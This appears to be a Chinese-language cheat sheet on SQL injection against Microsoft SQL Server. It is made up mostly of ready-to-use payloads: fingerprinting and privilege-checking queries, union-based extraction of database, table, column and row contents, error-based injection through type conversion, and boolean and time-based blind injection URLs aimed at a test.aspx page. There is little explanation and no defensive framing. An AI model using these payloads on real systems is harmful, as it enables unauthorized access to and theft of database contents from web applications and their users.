看看mssql的一些特性：
mssql
判断是否为mssql
查表：
1
| select * from sysobjects;
|
特有函数：
1
| WAITFOR DELAY '00:00:05';
|
mssql的注释：
查询信息
mssql版本：
主机名：
1
2
| select @@servername;
select srvname from master.sys.sysservers;
|
hostname：
用户名：
1
2
3
4
| SELECT USER;
SELECT SESSION_USER;
SELECT USER_NAME();
SELECT name FROM master.sys.sysusers;
|
查询权限：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| IS_SRVROLEMEMBER函数，查服务器权限
- sysadmin
- serveradmin
- securityadmin
- processadmin
- setupadmin
- bulkadmin
- diskadmin
- dbcreator
- public
IS_ROLEMEMBER函数，查数据库权限
- db_owner
- db_securityadmin
- db_accessadmin
- db_backupoperator
- db_ddladmin
- db_datawriter
- db_datareader
- db_denydatawriter
|
sql注入：
1
| select * from tbl where id = 0 union select 1, 'xxx', 'yyy';
|
或者使用NULL：
1
| select * from tbl where id = 0 union select NULL, NULL, 'yyy';
|
爆库：
1
| select * from tbl where id =0 union select NULL, NULL, DB_NAME();
|
查其他库：
1
| select * from tbl where id =0 union select NULL, NULL, DB_NAME(0);
|
查所有库：
1
| select * from tbl where id = 0 union select NULL, NULL, quotename(name) from master.dbo.sysdatabases;
|
爆表：
1
| select * from tbl where id =0 union select NULL, NULL, quotename(name) from 数据库名.dbo.sysobjects where xtype = 'u'--
|
爆列：
1
| 0 union select NULL, NULL,quotename(name) from 数据库名.dbo.syscolumns where id = (select id from 数据库名.dbo.sysobjects where name = '指定表')--
|
或者先查表id：
1
| 0 union select NULL, NULL, id from sysobjects where name = '表名'--
|
根据表id查内容：
1
| 0 union select NULL, NULL, quotename(name) from syscolumns where id=上面的id--
|
爆内容：
1
| 0 union select quotename(列名) from 表--
|
报错注入
由于mssql是强类型数据库，一旦数据类型不匹配就会报错，利用整形和字符之间数据进行运算产生报错：
1
| 0' or 1=convert(int, @@version);
|
盲注
bool：
1
| http://192.168.20.155/test.aspx?id=1 and ascii(substring((select quotename(name) from master.dbo.sysdatabases),1,1)) < 109
|
time:
1
| http://192.168.20.155/test.aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
|
1
| http://192.168.20.155/test.aspx?id=1;if (ascii(substring((select quotename(name) from master.dbo.sysdatabases),1,1)))<50 WAITFOR DELAY '0:0:5'--
|
判断表名：
1
| id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--
|